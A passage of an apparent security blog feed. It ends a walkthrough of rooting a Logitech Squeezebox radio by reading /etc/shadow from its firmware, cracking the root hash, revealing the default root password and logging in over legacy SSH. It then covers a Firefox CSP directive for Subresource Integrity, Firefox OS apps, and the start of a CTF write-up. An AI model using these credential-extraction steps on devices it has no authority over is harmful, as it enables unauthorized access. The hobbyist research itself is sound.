-rw-r--r--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;freddy&lt;span class="w"&gt; &lt;/span&gt;freddy&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;139&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Sep&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;07&lt;/span&gt;:53&lt;span class="w"&gt; &lt;/span&gt;baby.version
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;updates/baby.version
&lt;span class="m"&gt;7&lt;/span&gt;.7.3&lt;span class="w"&gt; &lt;/span&gt;r16676
root@ec2mbubld01.idc.logitech.com&lt;span class="w"&gt; &lt;/span&gt;Fri&lt;span class="w"&gt; &lt;/span&gt;Feb&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;09&lt;/span&gt;:25:26&lt;span class="w"&gt; &lt;/span&gt;PST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2014&lt;/span&gt;
Base&lt;span class="w"&gt; &lt;/span&gt;build&lt;span class="w"&gt; &lt;/span&gt;revision:&lt;span class="w"&gt;  &lt;/span&gt;bad080aecfec8226a4c1699b29d32cbba4ba396b
$&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;updates/*
updates/baby_7.7.3_r16676.bin:&lt;span class="w"&gt; &lt;/span&gt;Zip&lt;span class="w"&gt; &lt;/span&gt;archive&lt;span class="w"&gt; &lt;/span&gt;data,&lt;span class="w"&gt; &lt;/span&gt;at&lt;span class="w"&gt; &lt;/span&gt;least&lt;span class="w"&gt; &lt;/span&gt;v2.0&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;extract
updates/baby.version:&lt;span class="w"&gt;          &lt;/span&gt;ASCII&lt;span class="w"&gt; &lt;/span&gt;text
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, not knowing this, I had the firmware information on my disk all along? It is on.&lt;/p&gt;
&lt;h2&gt;Understanding the Firmware Update&lt;/h2&gt;
&lt;p&gt;This turned out very simple and accessible. Thanks Logitech!
Unzipping yields multiple files, among them text files with metadata a &lt;code&gt;zImage&lt;/code&gt; (~2.8M) and &lt;code&gt;root.cramfs&lt;/code&gt; (13M).
Alright, let's mount the root filesystem and take a look around&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;loop&lt;span class="w"&gt; &lt;/span&gt;root.cramfs&lt;span class="w"&gt; &lt;/span&gt;/mnt/
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;/etc/shadow
root:&lt;span class="nv"&gt;$1$Ubbe0&lt;/span&gt;.Et&lt;span class="nv"&gt;$fxA9h74pN&lt;/span&gt;/qDu12VAGZca1:13826:0:99999:7:::
nobody:*:14062:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Asking a search engine yields nothing, so we have to crack it ourselves. Running &lt;code&gt;john&lt;/code&gt; on this takes less than a second.&lt;/p&gt;
&lt;p&gt;The password is &lt;strong&gt;1234&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Logging in&lt;/h2&gt;
&lt;p&gt;Logging in is a bit harder than it seems. The radio uses ancient SSH, which offers outdated legacy ciphers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh  192.168.x.y -l root
Unable to negotiate with 192.168.x.y port 22: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A quick search shows that we can re-enable the legacy crypto:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;oKexAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=+&lt;/span&gt;&lt;span class="n"&gt;diffie&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;hellman&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;group1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aes256&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cbc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;oHostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=+&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dss&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="mf"&gt;@192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;This&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;authorized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Unauthorized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;improper&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;
&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;may&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hearing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;very&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;music&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;consent&lt;/span&gt;
&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;these&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;terms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IMMEDIATELY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;Ha&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;joking&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;have&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;logged&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;change&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;your&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;
&lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;You&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;safely&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;modify&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;
&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hold&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;power&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;will&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;your&lt;/span&gt;
&lt;span class="n"&gt;modifications&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;revert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;installed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;firmware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;Enjoy&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And that's it. Have fun with your full root privileges!&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>New CSP directive to make Subresource Integrity mandatory (`require-sri-for`)</title><link href="https://frederik-braun.com/new-csp-directive-to-make-subresource-integrity-mandatory-require-sri-for.html" rel="alternate"></link><published>2016-06-02T00:00:00+02:00</published><updated>2016-06-02T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2016-06-02:/new-csp-directive-to-make-subresource-integrity-mandatory-require-sri-for.html</id><summary type="html">&lt;h3&gt;Background&lt;/h3&gt;
&lt;p&gt;GitHub is one of the &lt;a href="http://githubengineering.com/subresource-integrity/"&gt;first big webistes using Subresource Integrity&lt;/a&gt; and can thus &lt;a href="https://hacks.mozilla.org/2015/09/subresource-integrity-in-firefox-43/"&gt;defend against potentially bad Content Delivery Networks (CDNs)&lt;/a&gt;.
The tricky thing with SRI is that you have to include it for every HTML tag that points to a CDN if you want the security benefit …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;Background&lt;/h3&gt;
&lt;p&gt;GitHub is one of the &lt;a href="http://githubengineering.com/subresource-integrity/"&gt;first big webistes using Subresource Integrity&lt;/a&gt; and can thus &lt;a href="https://hacks.mozilla.org/2015/09/subresource-integrity-in-firefox-43/"&gt;defend against potentially bad Content Delivery Networks (CDNs)&lt;/a&gt;.
The tricky thing with SRI is that you have to include it for every HTML tag that points to a CDN if you want the security benefit.
And then, of course, &lt;a href="https://lists.w3.org/Archives/Public/public-webappsec/2015Dec/0045.html"&gt;it happend&lt;/a&gt; that someone forgot to add this and people were sad. Fortunately, they brought this to the Webappsec Working Group and discussed the matter!&lt;/p&gt;
&lt;h4&gt;Omitting the details&lt;/h4&gt;
&lt;p&gt;There have been some discussions whether this should be a parameter on &lt;code&gt;script-src&lt;/code&gt;, &lt;code&gt;style-src&lt;/code&gt; etc. that I would like to omit for the sake of brevity. Feel free to jump into the mailing list (linked previously) if you are curious about this.&lt;/p&gt;
&lt;h2&gt;How it works&lt;/h2&gt;
&lt;p&gt;It's simple! Just add the directive into your Content Security Policy and specify if you need this for scripts, styles or both: &lt;code&gt;Content-Security-Policy: require-sri-for script style&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Example:&lt;/h4&gt;
&lt;p&gt;If you are running today's &lt;a href="https://nightly.mozilla.org/"&gt;Firefox Nightly&lt;/a&gt; (June 2nd, 2016), you should not see an alert box from html5sec.org vising this the PHP script below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="cp"&gt;header(&amp;quot;Content-Security-Policy: require-sri-for script style&amp;quot;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;&amp;lt;!-- This should load but cause a devtools warning because bootstrap requires jquery --&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;iintegrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;crossorigin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;anonymous&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="cm"&gt;&amp;lt;!-- these shouldn&amp;#39;t load and cause a CSP violation to be reported an alert popup indicates failure. --&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://html5sec.org/test.js&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://html5sec.org/test.js&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://html5sec.org/test.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;small&gt;(Sorry, no public demo URL ☹)&lt;/small&gt;&lt;/p&gt;
&lt;h2&gt;Calling for testers&lt;/h2&gt;
&lt;p&gt;This feature is relatively new, so we need some feedback from enthusiasts: Please see if you can find this useful in deployment (looking at you, GitHub folks) and you, security testers: Can you load scripts from other origins without integrity even though a &lt;code&gt;require-sri-for&lt;/code&gt; policy is in place? But please see my notes on known issues below.&lt;/p&gt;
&lt;p&gt;Feel free to look  also into my patch, if you know a thing or two about C++ and Firefox. The implementation was discussed in &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1265318"&gt;Bugzilla bug 1265318&lt;/a&gt; with the patches attached.&lt;/p&gt;
&lt;h2&gt;Known Issues&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CSP violation reporting currently complains about the document URL that included the subresource instead of the subresource URL (&lt;a href="(https://bugzilla.mozilla.org/show_bug.cgi?id=1277495)"&gt;bug 1277495&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;svg:script&amp;gt;&lt;/code&gt; is, &lt;em&gt;technically speaking&lt;/em&gt;, not the same as HTML's &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, so there are theoretical bypasses via SVG and other mechanisms that run scripts &amp;amp; styles without &lt;code&gt;&amp;lt;link href&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;script src&amp;gt;&lt;/code&gt;. I couldn't bypass this using the obvious svg script tab, but this needs further investigation (&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1277248"&gt;bug 1277248&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Firefox doesn't manage to enforce the directive when the CSP is in a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag (&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1277557"&gt;bug 1277557&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Your Feedback&lt;/h2&gt;
&lt;p&gt;Please submit your feedback as bugs in &lt;a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Core&amp;amp;component=DOM%3A%20Security"&gt;Bugzilla using this link&lt;/a&gt; if you want someone to see it. I will not monitor IRC, Twitter or E-Mail over the next few months, as I am going to be on leave over the summer.&lt;/p&gt;
&lt;h3&gt;Acknowledgements&lt;/h3&gt;
&lt;p&gt;Thanks to Patrick Toomey from GitHub for raising the issue about SRI enforcement in the first place. Neil Matatall started bringing this into the SRI spec and Sergey Shekyan is currently continuing this. Thanks to the both of you! Thanks to Christoph Kerschbaumer for helping me work on the implementation and Jonathan Hao for doing the &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1235572"&gt;groundwork&lt;/a&gt;.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Firefox OS apps and beyond</title><link href="https://frederik-braun.com/firefox-os-apps-and-beyond.html" rel="alternate"></link><published>2016-04-12T00:00:00+02:00</published><updated>2016-04-12T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2016-04-12:/firefox-os-apps-and-beyond.html</id><summary type="html">&lt;p&gt;I have written two Firefox OS apps, which are both not very popular. You may stop reading here if you haven't used either &lt;em&gt;squeezefox&lt;/em&gt; or &lt;em&gt;wallabag-fxos&lt;/em&gt;. This article is about how I think they should evolve, while &lt;a href="https://wiki.mozilla.org/SmartPhone_Code_Transition"&gt;Firefox OS is currently transitioning into a community-led B2G OS.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The apps I …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have written two Firefox OS apps, which are both not very popular. You may stop reading here if you haven't used either &lt;em&gt;squeezefox&lt;/em&gt; or &lt;em&gt;wallabag-fxos&lt;/em&gt;. This article is about how I think they should evolve, while &lt;a href="https://wiki.mozilla.org/SmartPhone_Code_Transition"&gt;Firefox OS is currently transitioning into a community-led B2G OS.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The apps I have written are both simple web clients for specific API endpoints.
My first app, &lt;a href="https://github.com/freddyb/squeezefox"&gt;Squeezefox&lt;/a&gt; is a remote control for Logitech Squeezebox Wifi Radios.
The other one, &lt;a href="https://github.com/freddyb/wallabag-fxos"&gt;wallabag-fxos&lt;/a&gt; is a Firefox OS client for the &lt;em&gt;&lt;a href="https://getpocket.com/"&gt;Pocket&lt;/a&gt; clone&lt;/em&gt; &lt;a href="https://wallabag.org/"&gt;Wallabag&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The only feature that makes both of these apps so Firefox OS specific is their use of &lt;code&gt;systemXHR&lt;/code&gt;: In Firefox OS, an &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest"&gt;XMLHttpRequest (XHR)&lt;/a&gt; instantiated with the &lt;code&gt;{mozSystem: true}&lt;/code&gt; parameter is allowed to issue HTTP requests towards all origins. This is what allows my apps to be configured to talk with the user's wallabag instance (or squeezebox device).&lt;/p&gt;
&lt;p&gt;I myself do not use those apps very heavily myself anymore and don't think I would make a great maintainer. But I do strongly believe in webapps and the future of the web regardless of the success of particular platforms, and I want these apps to be useful - regardless of the user agent.&lt;/p&gt;
&lt;p&gt;For this reason, I suggest re-architecting applications who rely on it to be freed from proprietary technologies like &lt;code&gt;systemXHR&lt;/code&gt;: The idea is to suggest users they self-host these apps on the same origin where they already host their main endpoint. Both wallabag and squeezebox servers (aka logitech media servers) allow hosting additional static files besides those which are built-in.
By removing some app-specific endpoint settings and defaulting to request against &lt;code&gt;location.href&lt;/code&gt;, those apps can become more universally usable in its current form without any extra permissions or vendor-specific extensions.&lt;/p&gt;
&lt;p&gt;Users who want to keep my apps in their Firefox OS/B2G OS specific nature, may keep using them as is. I have saved their current state in branches called &lt;code&gt;fxos-legacy&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/wallabag/wallabag-fxos/tree/fxos-legacy"&gt;https://github.com/wallabag/wallabag-fxos/tree/fxos-legacy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/freddyb/squeezefox/tree/fxos-legacy"&gt;https://github.com/freddyb/squeezefox/tree/fxos-legacy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I will continue to welcome contributions to both the new architecture as well as the legacy branches, but I strongly recommend forking my projects if folks intend to use them productively in the future. But starting now, I will not commit to actively drive the development of either.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Teacher's Pinboard Write-up</title><link href="https://frederik-braun.com/teachers-pinboard-hack-lu-2015.html" rel="alternate"></link><published>2015-12-02T00:00:00+01:00</published><updated>2015-12-02T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2015-12-02:/teachers-pinboard-hack-lu-2015.html</id><summary type="html">&lt;blockquote&gt;
&lt;p&gt;I found the address of the &lt;a href="https://school.fluxfingers.net:1502/"&gt;teacher's pinboard&lt;/a&gt;!
Can you try to get in and read all teachers' notes?
Maybe you need to attack the admin account as well.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;a href="http://fluxfingers.net/"&gt;fluxfingers&lt;/a&gt; (again) hosted the Capture The Flag (CTF) event for the &lt;a href="https://hack.lu"&gt;hack.lu security conference&lt;/a&gt; in Luxembourg. It's long since …&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;I found the address of the &lt;a href="https://school.fluxfingers.net:1502/"&gt;teacher's pinboard&lt;/a&gt;!
Can you try to get in and read all teachers' notes?
Maybe you need to attack the admin account as well.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;a href="http://fluxfingers.net/"&gt;fluxfingers&lt;/a&gt; (again) hosted the Capture The Flag (CTF) event for the &lt;a href="https://hack.lu"&gt;hack.lu security conference&lt;/a&gt; in Luxembourg. It's long since I've left the university but I'm still fond of both the hack.lu CTF and fluxfingers, so I contributed two tasks for the event.&lt;/p&gt;
&lt;p&gt;Since nobody bothered to publish their solution for the challenge, I have decided to release my own. By the way, you can still &lt;a href="https://school.fluxfingers.net:1502/"&gt;access the challenge in the archive&lt;/a&gt; and I recommend you take a look yourself, before you continue reading this spoiler.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot" src="/images/teacher-pinboard-screenshot.png"&gt;&lt;/p&gt;
